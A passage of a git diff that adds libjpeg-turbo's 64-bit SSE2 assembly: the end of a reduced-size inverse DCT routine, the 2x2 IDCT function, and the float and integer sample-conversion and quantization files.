movdqa xmm0, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(3, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm0, XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm1, XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + movdqa xmm2, XMMWORD [XMMBLOCK(5, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm3, XMMWORD [XMMBLOCK(7, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm2, XMMWORD [XMMBLOCK(5, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm3, XMMWORD [XMMBLOCK(7, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + movdqa xmm4, xmm0 + movdqa xmm5, xmm0 + punpcklwd xmm4, xmm1 + punpckhwd xmm5, xmm1 + movdqa xmm0, xmm4 + movdqa xmm1, xmm5 + pmaddwd xmm4, [rel PW_F256_F089] ; xmm4 = (tmp2L) + pmaddwd xmm5, [rel PW_F256_F089] ; xmm5 = (tmp2H) + pmaddwd xmm0, [rel PW_F106_MF217] ; xmm0 = (tmp0L) + pmaddwd xmm1, [rel PW_F106_MF217] ; xmm1 = (tmp0H) + + movdqa xmm6, xmm2 + movdqa xmm7, xmm2 + punpcklwd xmm6, xmm3 + punpckhwd xmm7, xmm3 + movdqa xmm2, xmm6 + movdqa xmm3, xmm7 + pmaddwd xmm6, [rel PW_MF060_MF050] ; xmm6 = (tmp2L) + pmaddwd xmm7, [rel PW_MF060_MF050] ; xmm7 = (tmp2H) + pmaddwd xmm2, [rel PW_F145_MF021] ; xmm2 = (tmp0L) + pmaddwd xmm3, [rel PW_F145_MF021] ; xmm3 = (tmp0H) + + paddd xmm6, xmm4 ; xmm6 = tmp2L + paddd xmm7, xmm5 ; xmm7 = tmp2H + paddd xmm2, xmm0 ; xmm2 = tmp0L + paddd xmm3, xmm1 ; xmm3 = tmp0H + + movdqa XMMWORD [wk(0)], xmm2 ; wk(0) = tmp0L + movdqa XMMWORD [wk(1)], xmm3 ; wk(1) = tmp0H + + ; -- Even part + + movdqa xmm4, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm5, XMMWORD [XMMBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm0, XMMWORD [XMMBLOCK(6, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm4, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm5, XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm0, XMMWORD [XMMBLOCK(6, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + pxor xmm1, xmm1 + pxor xmm2, xmm2 + punpcklwd xmm1, xmm4 ; xmm1 = tmp0L + punpckhwd xmm2, xmm4 ; xmm2 = tmp0H + psrad xmm1, (16 - CONST_BITS - 1) + ; psrad xmm1, 16 & pslld xmm1, CONST_BITS + 1 + psrad xmm2, (16 - CONST_BITS - 1) + ; psrad xmm2, 16 & pslld xmm2, CONST_BITS + 1 + + movdqa xmm3, xmm5 ; xmm5 = in2 = z2 + punpcklwd xmm5, xmm0 ; xmm0 = in6 = z3 + punpckhwd xmm3, xmm0 + pmaddwd xmm5, [rel PW_F184_MF076] ; xmm5 = tmp2L + pmaddwd xmm3, [rel PW_F184_MF076] ; xmm3 = tmp2H + + movdqa xmm4, xmm1 + movdqa xmm0, xmm2 + paddd xmm1, xmm5 ; xmm1 = tmp10L + paddd xmm2, xmm3 ; xmm2 = tmp10H + psubd xmm4, xmm5 ; xmm4 = tmp12L + psubd xmm0, xmm3 ; xmm0 = tmp12H + + ; -- Final output stage + + movdqa xmm5, xmm1 + movdqa xmm3, xmm2 + paddd xmm1, xmm6 ; xmm1 = data0L + paddd xmm2, xmm7 ; xmm2 = data0H + psubd xmm5, xmm6 ; xmm5 = data3L + psubd xmm3, xmm7 ; xmm3 = data3H + + movdqa xmm6, [rel PD_DESCALE_P1_4] ; xmm6 = [rel PD_DESCALE_P1_4] + + paddd xmm1, xmm6 + paddd xmm2, xmm6 + psrad xmm1, DESCALE_P1_4 + psrad xmm2, DESCALE_P1_4 + paddd xmm5, xmm6 + paddd xmm3, xmm6 + psrad xmm5, DESCALE_P1_4 + psrad xmm3, DESCALE_P1_4 + + packssdw xmm1, xmm2 ; xmm1 = data0 = (00 01 02 03 04 05 06 07) + packssdw xmm5, xmm3 ; xmm5 = data3 = (30 31 32 33 34 35 36 37) + + movdqa xmm7, XMMWORD [wk(0)] ; xmm7 = tmp0L + movdqa xmm6, XMMWORD [wk(1)] ; xmm6 = tmp0H + + movdqa xmm2, xmm4 + movdqa xmm3, xmm0 + paddd xmm4, xmm7 ; xmm4 = data1L + paddd xmm0, xmm6 ; xmm0 = data1H + psubd xmm2, xmm7 ; xmm2 = data2L + psubd xmm3, xmm6 ; xmm3 = data2H + + movdqa xmm7, [rel PD_DESCALE_P1_4] ; xmm7 = [rel PD_DESCALE_P1_4] + + paddd xmm4, xmm7 + paddd xmm0, xmm7 + psrad xmm4, DESCALE_P1_4 + psrad xmm0, DESCALE_P1_4 + paddd xmm2, xmm7 + paddd xmm3, xmm7 + psrad xmm2, DESCALE_P1_4 + psrad xmm3, DESCALE_P1_4 + + packssdw xmm4, xmm0 ; xmm4 = data1 = (10 11 12 13 14 15 16 17) + packssdw xmm2, xmm3 ; xmm2 = data2 = (20 21 22 23 24 25 26 27) + + movdqa xmm6, xmm1 ; transpose coefficients(phase 1) + punpcklwd xmm1, xmm4 ; xmm1 = (00 10 01 11 02 12 03 13) + punpckhwd xmm6, xmm4 ; xmm6 = (04 14 05 15 06 16 07 17) + movdqa xmm7, xmm2 ; transpose coefficients(phase 1) + punpcklwd xmm2, xmm5 ; xmm2 = (20 30 21 31 22 32 23 33) + punpckhwd xmm7, xmm5 ; xmm7 = (24 34 25 35 26 36 27 37) + + movdqa xmm0, xmm1 ; transpose coefficients(phase 2) + punpckldq xmm1, xmm2 ; xmm1 = [col0 col1] = (00 10 20 30 01 11 21 31) + punpckhdq xmm0, xmm2 ; xmm0 = [col2 col3] = (02 12 22 32 03 13 23 33) + movdqa xmm3, xmm6 ; transpose coefficients(phase 2) + punpckldq xmm6, xmm7 ; xmm6 = [col4 col5] = (04 14 24 34 05 15 25 35) + punpckhdq xmm3, xmm7 ; xmm3 = [col6 col7] = (06 16 26 36 07 17 27 37) +.column_end: + + ; -- Prefetch the next coefficient block + + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 0 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 1 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 2 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 3 * 32] + + ; ---- Pass 2: process rows, store into output array. + + mov rdi, r12 ; (JSAMPROW *) + mov eax, r13d + + ; -- Even part + + pxor xmm4, xmm4 + punpcklwd xmm4, xmm1 ; xmm4 = tmp0 + psrad xmm4, (16 - CONST_BITS - 1) + ; psrad xmm4, 16 & pslld xmm4, CONST_BITS + 1 + + ; -- Odd part + + punpckhwd xmm1, xmm0 + punpckhwd xmm6, xmm3 + movdqa xmm5, xmm1 + movdqa xmm2, xmm6 + pmaddwd xmm1, [rel PW_F256_F089] ; xmm1 = (tmp2) + pmaddwd xmm6, [rel PW_MF060_MF050] ; xmm6 = (tmp2) + pmaddwd xmm5, [rel PW_F106_MF217] ; xmm5 = (tmp0) + pmaddwd xmm2, [rel PW_F145_MF021] ; xmm2 = (tmp0) + + paddd xmm6, xmm1 ; xmm6 = tmp2 + paddd xmm2, xmm5 ; xmm2 = tmp0 + + ; -- Even part + + punpcklwd xmm0, xmm3 + pmaddwd xmm0, [rel PW_F184_MF076] ; xmm0 = tmp2 + + movdqa xmm7, xmm4 + paddd xmm4, xmm0 ; xmm4 = tmp10 + psubd xmm7, xmm0 ; xmm7 = tmp12 + + ; -- Final output stage + + movdqa xmm1, [rel PD_DESCALE_P2_4] ; xmm1 = [rel PD_DESCALE_P2_4] + + movdqa xmm5, xmm4 + movdqa xmm3, xmm7 + paddd xmm4, xmm6 ; xmm4 = data0 = (00 10 20 30) + paddd xmm7, xmm2 ; xmm7 = data1 = (01 11 21 31) + psubd xmm5, xmm6 ; xmm5 = data3 = (03 13 23 33) + psubd xmm3, xmm2 ; xmm3 = data2 = (02 12 22 32) + + paddd xmm4, xmm1 + paddd xmm7, xmm1 + psrad xmm4, DESCALE_P2_4 + psrad xmm7, DESCALE_P2_4 + paddd xmm5, xmm1 + paddd xmm3, xmm1 + psrad xmm5, DESCALE_P2_4 + psrad xmm3, DESCALE_P2_4 + + packssdw xmm4, xmm3 ; xmm4 = (00 10 20 30 02 12 22 32) + packssdw xmm7, xmm5 ; xmm7 = (01 11 21 31 03 13 23 33) + + movdqa xmm0, xmm4 ; transpose coefficients(phase 1) + punpcklwd xmm4, xmm7 ; xmm4 = (00 01 10 11 20 21 30 31) + punpckhwd xmm0, xmm7 ; xmm0 = (02 03 12 13 22 23 32 33) + + movdqa xmm6, xmm4 ; transpose coefficients(phase 2) + punpckldq xmm4, xmm0 ; xmm4 = (00 01 02 03 10 11 12 13) + punpckhdq xmm6, xmm0 ; xmm6 = (20 21 22 23 30 31 32 33) + + packsswb xmm4, xmm6 ; xmm4 = (00 01 02 03 10 11 12 13 20 ..) + paddb xmm4, [rel PB_CENTERJSAMP] + + pshufd xmm2, xmm4, 0x39 ; xmm2 = (10 11 12 13 20 21 22 23 30 ..) + pshufd xmm1, xmm4, 0x4E ; xmm1 = (20 21 22 23 30 31 32 33 00 ..) + pshufd xmm3, xmm4, 0x93 ; xmm3 = (30 31 32 33 00 01 02 03 10 ..) + + mov rdxp, JSAMPROW [rdi + 0 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 1 * SIZEOF_JSAMPROW] + movd XMM_DWORD [rdx + rax * SIZEOF_JSAMPLE], xmm4 + movd XMM_DWORD [rsi + rax * SIZEOF_JSAMPLE], xmm2 + mov rdxp, JSAMPROW [rdi + 2 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 3 * SIZEOF_JSAMPROW] + movd XMM_DWORD [rdx + rax * SIZEOF_JSAMPLE], xmm1 + movd XMM_DWORD [rsi + rax * SIZEOF_JSAMPLE], xmm3 + + UNCOLLECT_ARGS 4 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + +; -------------------------------------------------------------------------- +; +; Perform dequantization and inverse DCT on one block of coefficients, +; producing a reduced-size 2x2 output block. +; +; GLOBAL(void) +; jsimd_idct_2x2_sse2(void *dct_table, JCOEFPTR coef_block, +; JSAMPARRAY output_buf, JDIMENSION output_col) +; +; r10 = void *dct_table +; r11 = JCOEFPTR coef_block +; r12 = JSAMPARRAY output_buf +; r13d = JDIMENSION output_col + + align 32 + GLOBAL_FUNCTION(jsimd_idct_2x2_sse2) + +EXTN(jsimd_idct_2x2_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 4 + push rbx + + ; ---- Pass 1: process columns from input. + + mov rdx, r10 ; quantptr + mov rsi, r11 ; inptr + + ; | input: | result: | + ; | 00 01 ** 03 ** 05 ** 07 | | + ; | 10 11 ** 13 ** 15 ** 17 | | + ; | ** ** ** ** ** ** ** ** | | + ; | 30 31 ** 33 ** 35 ** 37 | A0 A1 A3 A5 A7 | + ; | ** ** ** ** ** ** ** ** | B0 B1 B3 B5 B7 | + ; | 50 51 ** 53 ** 55 ** 57 | | + ; | ** ** ** ** ** ** ** ** | | + ; | 70 71 ** 73 ** 75 ** 77 | | + + ; -- Odd part + + movdqa xmm0, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(3, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm0, XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm1, XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + movdqa xmm2, XMMWORD [XMMBLOCK(5, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm3, XMMWORD [XMMBLOCK(7, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm2, XMMWORD [XMMBLOCK(5, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm3, XMMWORD [XMMBLOCK(7, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + ; xmm0 = (10 11 ** 13 ** 15 ** 17) + ; xmm1 = (30 31 ** 33 ** 35 ** 37) + ; xmm2 = (50 51 ** 53 ** 55 ** 57) + ; xmm3 = (70 71 ** 73 ** 75 ** 77) + + pcmpeqd xmm7, xmm7 + pslld xmm7, WORD_BIT ; xmm7 = { 0x0000 0xFFFF 0x0000 0xFFFF .. } + + movdqa xmm4, xmm0 ; xmm4 = (10 11 ** 13 ** 15 ** 17) + movdqa xmm5, xmm2 ; xmm5 = (50 51 ** 53 ** 55 ** 57) + punpcklwd xmm4, xmm1 ; xmm4 = (10 30 11 31 ** ** 13 33) + punpcklwd xmm5, xmm3 ; xmm5 = (50 70 51 71 ** ** 53 73) + pmaddwd xmm4, [rel PW_F362_MF127] + pmaddwd xmm5, [rel PW_F085_MF072] + + psrld xmm0, WORD_BIT ; xmm0 = (11 -- 13 -- 15 -- 17 --) + pand xmm1, xmm7 ; xmm1 = (-- 31 -- 33 -- 35 -- 37) + psrld xmm2, WORD_BIT ; xmm2 = (51 -- 53 -- 55 -- 57 --) + pand xmm3, xmm7 ; xmm3 = (-- 71 -- 73 -- 75 -- 77) + por xmm0, xmm1 ; xmm0 = (11 31 13 33 15 35 17 37) + por xmm2, xmm3 ; xmm2 = (51 71 53 73 55 75 57 77) + pmaddwd xmm0, [rel PW_F362_MF127] + pmaddwd xmm2, [rel PW_F085_MF072] + + paddd xmm4, xmm5 ; xmm4 = tmp0[col0 col1 **** col3] + paddd xmm0, xmm2 ; xmm0 = tmp0[col1 col3 col5 col7] + + ; -- Even part + + movdqa xmm6, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm6, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + ; xmm6 = (00 01 ** 03 ** 05 ** 07) + + movdqa xmm1, xmm6 ; xmm1 = (00 01 ** 03 ** 05 ** 07) + pslld xmm6, WORD_BIT ; xmm6 = (-- 00 -- ** -- ** -- **) + pand xmm1, xmm7 ; xmm1 = (-- 01 -- 03 -- 05 -- 07) + psrad xmm6, (WORD_BIT - CONST_BITS - 2) + ; xmm6 = tmp10[col0 **** **** ****] + psrad xmm1, (WORD_BIT - CONST_BITS - 2) + ; xmm1 = tmp10[col1 col3 col5 col7] + + ; -- Final output stage + + movdqa xmm3, xmm6 + movdqa xmm5, xmm1 + paddd xmm6, xmm4 ; xmm6 = data0[col0 **** **** ****] = (A0 ** ** **) + paddd xmm1, xmm0 ; xmm1 = data0[col1 col3 col5 col7] = (A1 A3 A5 A7) + psubd xmm3, xmm4 ; xmm3 = data1[col0 **** **** ****] = (B0 ** ** **) + psubd xmm5, xmm0 ; xmm5 = data1[col1 col3 col5 col7] = (B1 B3 B5 B7) + + movdqa xmm2, [rel PD_DESCALE_P1_2] ; xmm2 = [rel PD_DESCALE_P1_2] + + punpckldq xmm6, xmm3 ; xmm6 = (A0 B0 ** **) + + movdqa xmm7, xmm1 + punpcklqdq xmm1, xmm5 ; xmm1 = (A1 A3 B1 B3) + punpckhqdq xmm7, xmm5 ; xmm7 = (A5 A7 B5 B7) + + paddd xmm6, xmm2 + psrad xmm6, DESCALE_P1_2 + + paddd xmm1, xmm2 + paddd xmm7, xmm2 + psrad xmm1, DESCALE_P1_2 + psrad xmm7, DESCALE_P1_2 + + ; -- Prefetch the next coefficient block + + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 0 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 1 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 2 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 3 * 32] + + ; ---- Pass 2: process rows, store into output array. + + mov rdi, r12 ; (JSAMPROW *) + mov eax, r13d + + ; | input:| result:| + ; | A0 B0 | | + ; | A1 B1 | C0 C1 | + ; | A3 B3 | D0 D1 | + ; | A5 B5 | | + ; | A7 B7 | | + + ; -- Odd part + + packssdw xmm1, xmm1 ; xmm1 = (A1 A3 B1 B3 A1 A3 B1 B3) + packssdw xmm7, xmm7 ; xmm7 = (A5 A7 B5 B7 A5 A7 B5 B7) + pmaddwd xmm1, [rel PW_F362_MF127] + pmaddwd xmm7, [rel PW_F085_MF072] + + paddd xmm1, xmm7 ; xmm1 = tmp0[row0 row1 row0 row1] + + ; -- Even part + + pslld xmm6, (CONST_BITS + 2) ; xmm6 = tmp10[row0 row1 **** ****] + + ; -- Final output stage + + movdqa xmm4, xmm6 + paddd xmm6, xmm1 ; xmm6 = data0[row0 row1 **** ****] = (C0 C1 ** **) + psubd xmm4, xmm1 ; xmm4 = data1[row0 row1 **** ****] = (D0 D1 ** **) + + punpckldq xmm6, xmm4 ; xmm6 = (C0 D0 C1 D1) + + paddd xmm6, [rel PD_DESCALE_P2_2] + psrad xmm6, DESCALE_P2_2 + + packssdw xmm6, xmm6 ; xmm6 = (C0 D0 C1 D1 C0 D0 C1 D1) + packsswb xmm6, xmm6 ; xmm6 = (C0 D0 C1 D1 C0 D0 C1 D1 ..) + paddb xmm6, [rel PB_CENTERJSAMP] + + pextrw ebx, xmm6, 0x00 ; ebx = (C0 D0 -- --) + pextrw ecx, xmm6, 0x01 ; ecx = (C1 D1 -- --) + + mov rdxp, JSAMPROW [rdi + 0 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 1 * SIZEOF_JSAMPROW] + mov word [rdx + rax * SIZEOF_JSAMPLE], bx + mov word [rsi + rax * SIZEOF_JSAMPLE], cx + + pop rbx + UNCOLLECT_ARGS 4 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jquantf-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jquantf-sse2.asm new file mode 100755 index 0000000..7e76bf5 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jquantf-sse2.asm @@ -0,0 +1,149 @@ +; +; Sample data conversion and quantization (64-bit SSE & SSE2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" +%include "jdct.inc" + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Load data into workspace, applying unsigned->signed conversion +; +; GLOBAL(void) +; jsimd_convsamp_float_sse2(JSAMPARRAY sample_data, JDIMENSION start_col, +; FAST_FLOAT *workspace) +; +; r10 = JSAMPARRAY sample_data +; r11d = JDIMENSION start_col +; r12 = FAST_FLOAT *workspace + + align 32 + GLOBAL_FUNCTION(jsimd_convsamp_float_sse2) + +EXTN(jsimd_convsamp_float_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 3 + push rbx + + pcmpeqw xmm7, xmm7 + psllw xmm7, 7 + packsswb xmm7, xmm7 ; xmm7 = PB_CENTERJSAMPLE (0x808080..) + + mov rsi, r10 + mov eax, r11d + mov rdi, r12 + mov rcx, DCTSIZE / 2 +.convloop: + mov rbxp, JSAMPROW [rsi + 0 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + mov rdxp, JSAMPROW [rsi + 1 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + + movq xmm0, XMM_MMWORD [rbx + rax * SIZEOF_JSAMPLE] + movq xmm1, XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE] + + psubb xmm0, xmm7 ; xmm0 = (01234567) + psubb xmm1, xmm7 ; xmm1 = (89abcdef) + + punpcklbw xmm0, xmm0 ; xmm0 = (*0*1*2*3*4*5*6*7) + punpcklbw xmm1, xmm1 ; xmm1 = (*8*9*a*b*c*d*e*f) + + punpcklwd xmm2, xmm0 ; xmm2 = (***0***1***2***3) + punpckhwd xmm0, xmm0 ; xmm0 = (***4***5***6***7) + punpcklwd xmm3, xmm1 ; xmm3 = (***8***9***a***b) + punpckhwd xmm1, xmm1 ; xmm1 = (***c***d***e***f) + + psrad xmm2, (DWORD_BIT - BYTE_BIT) ; xmm2 = (0123) + psrad xmm0, (DWORD_BIT - BYTE_BIT) ; xmm0 = (4567) + cvtdq2ps xmm2, xmm2 ; xmm2 = (0123) + cvtdq2ps xmm0, xmm0 ; xmm0 = (4567) + psrad xmm3, (DWORD_BIT - BYTE_BIT) ; xmm3 = (89ab) + psrad xmm1, (DWORD_BIT - BYTE_BIT) ; xmm1 = (cdef) + cvtdq2ps xmm3, xmm3 ; xmm3 = (89ab) + cvtdq2ps xmm1, xmm1 ; xmm1 = (cdef) + + movaps XMMWORD [XMMBLOCK(0, 0, rdi, SIZEOF_FAST_FLOAT)], xmm2 + movaps XMMWORD [XMMBLOCK(0, 1, rdi, SIZEOF_FAST_FLOAT)], xmm0 + movaps XMMWORD [XMMBLOCK(1, 0, rdi, SIZEOF_FAST_FLOAT)], xmm3 + movaps XMMWORD [XMMBLOCK(1, 1, rdi, SIZEOF_FAST_FLOAT)], xmm1 + + add rsi, byte 2 * SIZEOF_JSAMPROW + add rdi, byte 2 * DCTSIZE * SIZEOF_FAST_FLOAT + dec rcx + jnz short .convloop + + pop rbx + UNCOLLECT_ARGS 3 + pop rbp + ret + +; -------------------------------------------------------------------------- +; +; Quantize/descale the coefficients, and store into coef_block +; +; GLOBAL(void) +; jsimd_quantize_float_sse2(JCOEFPTR coef_block, FAST_FLOAT *divisors, +; FAST_FLOAT *workspace) +; +; r10 = JCOEFPTR coef_block +; r11 = FAST_FLOAT *divisors +; r12 = FAST_FLOAT *workspace + + align 32 + GLOBAL_FUNCTION(jsimd_quantize_float_sse2) + +EXTN(jsimd_quantize_float_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 3 + + mov rsi, r12 + mov rdx, r11 + mov rdi, r10 + mov rax, DCTSIZE2 / 16 +.quantloop: + movaps xmm0, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_FAST_FLOAT)] + movaps xmm1, XMMWORD [XMMBLOCK(0, 1, rsi, SIZEOF_FAST_FLOAT)] + mulps xmm0, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_FAST_FLOAT)] + mulps xmm1, XMMWORD [XMMBLOCK(0, 1, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm2, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_FAST_FLOAT)] + movaps xmm3, XMMWORD [XMMBLOCK(1, 1, rsi, SIZEOF_FAST_FLOAT)] + mulps xmm2, XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_FAST_FLOAT)] + mulps xmm3, XMMWORD [XMMBLOCK(1, 1, rdx, SIZEOF_FAST_FLOAT)] + + cvtps2dq xmm0, xmm0 + cvtps2dq xmm1, xmm1 + cvtps2dq xmm2, xmm2 + cvtps2dq xmm3, xmm3 + + packssdw xmm0, xmm1 + packssdw xmm2, xmm3 + + movdqa XMMWORD [XMMBLOCK(0, 0, rdi, SIZEOF_JCOEF)], xmm0 + movdqa XMMWORD [XMMBLOCK(1, 0, rdi, SIZEOF_JCOEF)], xmm2 + + add rsi, byte 16 * SIZEOF_FAST_FLOAT + add rdx, byte 16 * SIZEOF_FAST_FLOAT + add rdi, byte 16 * SIZEOF_JCOEF + dec rax + jnz short .quantloop + + UNCOLLECT_ARGS 3 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jquanti-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jquanti-sse2.asm new file mode 100755 index 0000000..eb8e1fe --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jquanti-sse2.asm @@ -0,0 +1,187 @@ +; +; Sample data conversion and quantization (64-bit SSE2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" +%include "jdct.inc" + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Load data into workspace, applying unsigned->signed conversion +; +; GLOBAL(void) +; jsimd_convsamp_sse2(JSAMPARRAY sample_data, JDIMENSION start_col, +; DCTELEM *workspace) +; +; r10 = JSAMPARRAY sample_data +; r11d = JDIMENSION start_col +; r12 = DCTELEM *workspace + + align 32 + GLOBAL_FUNCTION(jsimd_convsamp_sse2) + +EXTN(jsimd_convsamp_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 3 + push rbx + + pxor xmm6, xmm6 ; xmm6 = (all 0's) + pcmpeqw xmm7, xmm7 + psllw xmm7, 7 ; xmm7 = { 0xFF80 0xFF80 0xFF80 0xFF80 .. } + + mov rsi, r10 + mov eax, r11d + mov rdi, r12 + mov rcx, DCTSIZE / 4 +.convloop: + mov rbxp, JSAMPROW [rsi + 0 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + mov rdxp, JSAMPROW [rsi + 1 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + + movq xmm0, XMM_MMWORD [rbx + rax * SIZEOF_JSAMPLE] + ; xmm0 = (01234567) + movq xmm1, XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE] + ; xmm1 = (89abcdef) + + mov rbxp, JSAMPROW [rsi + 2 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + mov rdxp, JSAMPROW [rsi + 3 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + + movq xmm2, XMM_MMWORD [rbx + rax * SIZEOF_JSAMPLE] + ; xmm2 = (ghijklmn) + movq xmm3, XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE] + ; xmm3 = (opqrstuv) + + punpcklbw xmm0, xmm6 ; xmm0 = (01234567) + punpcklbw xmm1, xmm6 ; xmm1 = (89abcdef) + paddw xmm0, xmm7 + paddw xmm1, xmm7 + punpcklbw xmm2, xmm6 ; xmm2 = (ghijklmn) + punpcklbw xmm3, xmm6 ; xmm3 = (opqrstuv) + paddw xmm2, xmm7 + paddw xmm3, xmm7 + + movdqa XMMWORD [XMMBLOCK(0, 0, rdi, SIZEOF_DCTELEM)], xmm0 + movdqa XMMWORD [XMMBLOCK(1, 0, rdi, SIZEOF_DCTELEM)], xmm1 + movdqa XMMWORD [XMMBLOCK(2, 0, rdi, SIZEOF_DCTELEM)], xmm2 + movdqa XMMWORD [XMMBLOCK(3, 0, rdi, SIZEOF_DCTELEM)], xmm3 + + add rsi, byte 4 * SIZEOF_JSAMPROW + add rdi, byte 4 * DCTSIZE * SIZEOF_DCTELEM + dec rcx + jnz short .convloop + + pop rbx + UNCOLLECT_ARGS 3 + pop rbp + ret + +; -------------------------------------------------------------------------- +; +; Quantize/descale the coefficients, and store into coef_block +; +; This implementation is based on an algorithm described in +; "Optimizing subroutines in assembly language: +; An optimization guide for x86 platforms" (https://agner.org/optimize). +; +; GLOBAL(void) +; jsimd_quantize_sse2(JCOEFPTR coef_block, DCTELEM *divisors, +; DCTELEM *workspace) + +%define RECIPROCAL(m, n, b) \ + XMMBLOCK(DCTSIZE * 0 + (m), (n), (b), SIZEOF_DCTELEM) +%define CORRECTION(m, n, b) \ + XMMBLOCK(DCTSIZE * 1 + (m), (n), (b), SIZEOF_DCTELEM) +%define SCALE(m, n, b) \ + XMMBLOCK(DCTSIZE * 2 + (m), (n), (b), SIZEOF_DCTELEM) + +; r10 = JCOEFPTR coef_block +; r11 = DCTELEM *divisors +; r12 = DCTELEM *workspace + + align 32 + GLOBAL_FUNCTION(jsimd_quantize_sse2) + +EXTN(jsimd_quantize_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 3 + + mov rsi, r12 + mov rdx, r11 + mov rdi, r10 + mov rax, DCTSIZE2 / 32 +.quantloop: + movdqa xmm4, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_DCTELEM)] + movdqa xmm5, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_DCTELEM)] + movdqa xmm6, XMMWORD [XMMBLOCK(2, 0, rsi, SIZEOF_DCTELEM)] + movdqa xmm7, XMMWORD [XMMBLOCK(3, 0, rsi, SIZEOF_DCTELEM)] + movdqa xmm0, xmm4 + movdqa xmm1, xmm5 + movdqa xmm2, xmm6 + movdqa xmm3, xmm7 + psraw xmm4, (WORD_BIT - 1) + psraw xmm5, (WORD_BIT - 1) + psraw xmm6, (WORD_BIT - 1) + psraw xmm7, (WORD_BIT - 1) + pxor xmm0, xmm4 + pxor xmm1, xmm5 + pxor xmm2, xmm6 + 